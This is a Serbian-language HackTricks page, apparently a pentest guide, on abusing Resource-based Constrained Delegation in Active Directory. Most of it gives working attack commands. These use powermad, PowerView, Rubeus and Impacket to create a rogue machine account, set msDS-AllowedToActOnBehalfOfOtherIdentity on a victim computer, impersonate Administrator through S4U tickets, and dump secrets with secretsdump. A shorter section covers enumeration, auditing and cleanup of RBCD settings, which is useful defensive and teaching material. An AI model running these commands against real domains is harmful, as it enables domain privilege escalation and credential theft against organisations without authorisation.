Resource-based Constrained Delegation
Reading time: 9 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovi Resource-based Constrained Delegation
Ovo je slično osnovnoj Constrained Delegation ali umesto davanja dozvola objektu da imituje bilo kog korisnika protiv mašine. Resource-based Constrained Delegation postavlja u objektu ko može da imituje bilo kog korisnika protiv njega.
U ovom slučaju, ograničeni objekat će imati atribut pod nazivom msDS-AllowedToActOnBehalfOfOtherIdentity sa imenom korisnika koji može da imituje bilo kog drugog korisnika protiv njega.
Još jedna važna razlika između ovog Constrained Delegation i drugih delegacija je da bilo koji korisnik sa dozvolama za pisanje nad računom mašine (GenericAll/GenericWrite/WriteDacl/WriteProperty/etc) može postaviti msDS-AllowedToActOnBehalfOfOtherIdentity (U drugim oblicima Delegacije potrebne su privilegije domen administratora).
Novi koncepti
U Constrained Delegation je rečeno da je TrustedToAuthForDelegation
oznaka unutar userAccountControl vrednosti korisnika potrebna za izvođenje S4U2Self. Ali to nije potpuno tačno.
Stvarnost je da čak i bez te vrednosti, možete izvesti S4U2Self protiv bilo kog korisnika ako ste usluga (imate SPN) ali, ako imate TrustedToAuthForDelegation
vraćeni TGS će biti Forwardable i ako nemate tu oznaku vraćeni TGS neće biti Forwardable.
Međutim, ako je TGS korišćen u S4U2Proxy NISU Forwardable pokušaj zloupotrebe osnovne Constrain Delegation neće raditi. Ali ako pokušavate da iskoristite Resource-Based constrain delegation, to će raditi.
Struktura napada
Ako imate dozvole za pisanje ekvivalentne privilegijama nad računom računara možete dobiti privilegovan pristup na toj mašini.
Pretpostavimo da napadač već ima dozvole za pisanje ekvivalentne privilegijama nad računarom žrtve.
- Napadač kompromituje nalog koji ima SPN ili kreira jedan (“Service A”). Imajte na umu da bilo koji Admin User bez bilo kojih drugih posebnih privilegija može kreirati do 10 objekata računara (MachineAccountQuota) i postaviti im SPN. Tako da napadač može jednostavno kreirati objekat računara i postaviti SPN.
- Napadač zloupotrebljava svoje DOZVOLE ZA PISANJE nad računarom žrtve (ServiceB) da konfiguriše resource-based constrained delegation da omogući ServiceA da imituje bilo kog korisnika protiv tog računara žrtve (ServiceB).
- Napadač koristi Rubeus da izvede potpun S4U napad (S4U2Self i S4U2Proxy) od Service A do Service B za korisnika sa privilegovanim pristupom Service B.
- S4U2Self (iz SPN kompromitovanog/kreativnog naloga): Traži TGS od Administratora za mene (Nije Forwardable).
- S4U2Proxy: Koristi ne Forwardable TGS iz prethodnog koraka da zatraži TGS od Administratora za računar žrtve.
- Čak i ako koristite ne Forwardable TGS, pošto zloupotrebljavate Resource-based constrained delegation, to će raditi.
- Napadač može proći kroz tiket i imitirati korisnika da dobije pristup žrtvi ServiceB.
Da biste proverili MachineAccountQuota domena možete koristiti:
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
Napad
Kreiranje objekta računara
Možete kreirati objekat računara unutar domena koristeći powermad:
import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
# Check if created
Get-DomainComputer SERVICEA
Konfigurisanje delegacije zasnovane na resursima
Korišćenje activedirectory PowerShell modula
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
Korišćenje powerview
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'
msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
Izvođenje potpunog S4U napada (Windows/Rubeus)
Prvo, kreirali smo novi objekat Računar sa lozinkom 123456
, tako da nam je potreban hash te lozinke:
.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
Ovo će ispisati RC4 i AES hešove za taj nalog.
Sada se napad može izvršiti:
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
Možete generisati više tiketa za više usluga jednostavno postavljajući pitanje jednom koristeći /altservice
parametar Rubeus:
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
caution
Imajte na umu da korisnici imaju atribut pod nazivom "Cannot be delegated". Ako korisnik ima ovaj atribut postavljen na True, nećete moći da ga imitirate. Ova svojstvo se može videti unutar bloodhound-a.
Linux alati: end-to-end RBCD sa Impacket-om (2024+)
Ako radite sa Linux-om, možete izvršiti celu RBCD lanac koristeći zvanične Impacket alate:
# 1) Create attacker-controlled machine account (respects MachineAccountQuota)
impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!'
# 2) Grant RBCD on the target computer to FAKE01$
# -action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -dc-ip 192.168.56.10 -action write 'domain.local/jdoe:Summer2025!'
# 3) Request an impersonation ticket (S4U2Self+S4U2Proxy) for a privileged user against the victim service
impacket-getST -spn cifs/victim.domain.local -impersonate Administrator -dc-ip 192.168.56.10 'domain.local/FAKE01$:P@ss123'
# 4) Use the ticket (ccache) against the target service
export KRB5CCNAME=$(pwd)/Administrator.ccache
# Example: dump local secrets via Kerberos (no NTLM)
impacket-secretsdump -k -no-pass Administrator@victim.domain.local
Notes
- Ako je LDAP potpisivanje/LDAPS primenjeno, koristite
impacket-rbcd -use-ldaps ...
. - Preferirajte AES ključeve; mnogi moderni domeni ograničavaju RC4. Impacket i Rubeus podržavaju samo AES tokove.
- Impacket može prepraviti
sname
("AnySPN") za neke alate, ali dobijte tačan SPN kad god je to moguće (npr., CIFS/LDAP/HTTP/HOST/MSSQLSvc).
Accessing
Poslednja komandna linija će izvršiti potpun S4U napad i injektovaće TGS sa Administratora na žrtvovanu mašinu u memoriji.
U ovom primeru je zatražen TGS za CIFS servis od Administratora, tako da ćete moći da pristupite C$:
ls \\victim.domain.local\C$
Zloupotreba različitih servisnih karata
Saznajte o dostupnim servisnim kartama ovde.
Enumeracija, revizija i čišćenje
Enumeracija računara sa RBCD konfigurisanom
PowerShell (dekodiranje SD-a za rešavanje SID-ova):
# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals
Import-Module ActiveDirectory
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } |
ForEach-Object {
$raw = $_."msDS-AllowedToActOnBehalfOfOtherIdentity"
$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $raw, 0
$sd.DiscretionaryAcl | ForEach-Object {
$sid = $_.SecurityIdentifier
try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $name = $sid.Value }
[PSCustomObject]@{ Computer=$_.ObjectDN; Principal=$name; SID=$sid.Value; Rights=$_.AccessMask }
}
}
Impacket (čitati ili isprazniti jednim komandama):
# Read who can delegate to VICTIM
impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!'
Cleanup / reset RBCD
- PowerShell (očistite atribut):
Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
# Or using the friendly property
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount $null
- Impacket:
# Remove a specific principal from the SD
impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -action remove 'domain.local/jdoe:Summer2025!'
# Or flush the whole list
impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025!'
Kerberos Greške
KDC_ERR_ETYPE_NOTSUPP
: Ovo znači da je kerberos konfigurisan da ne koristi DES ili RC4 i da pružate samo RC4 hash. Pružite Rubeusu barem AES256 hash (ili jednostavno pružite rc4, aes128 i aes256 hash). Primer:[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())
KRB_AP_ERR_SKEW
: Ovo znači da je vreme trenutnog računara različito od vremena DC-a i kerberos ne radi ispravno.preauth_failed
: Ovo znači da dati korisničko ime + hash ne rade za prijavu. Možda ste zaboravili da stavite "$" unutar korisničkog imena prilikom generisanja hash-eva (.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local
)KDC_ERR_BADOPTION
: Ovo može značiti:- Korisnik kojeg pokušavate da imitirate ne može da pristupi željenoj usluzi (jer ne možete da ga imitirate ili zato što nema dovoljno privilegija)
- Tražena usluga ne postoji (ako tražite tiket za winrm, ali winrm ne radi)
- Lažni računar koji je kreiran je izgubio svoje privilegije nad ranjivim serverom i morate ih ponovo dodeliti.
- Zloupotrebljavate klasični KCD; zapamtite da RBCD funkcioniše sa neprebacivim S4U2Self tiketima, dok KCD zahteva prebacive.
Beleške, relays i alternative
- Takođe možete napisati RBCD SD preko AD Web Services (ADWS) ako je LDAP filtriran. Vidi:
- Kerberos relay lanci često se završavaju u RBCD-u kako bi se postigao lokalni SYSTEM u jednom koraku. Vidi praktične primere od kraja do kraja:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Reference
- https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
- https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object
- https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/
- https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61
- Impacket rbcd.py (official): https://github.com/fortra/impacket/blob/master/examples/rbcd.py
- Quick Linux cheatsheet with recent syntax: https://tldrbins.github.io/rbcd/
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.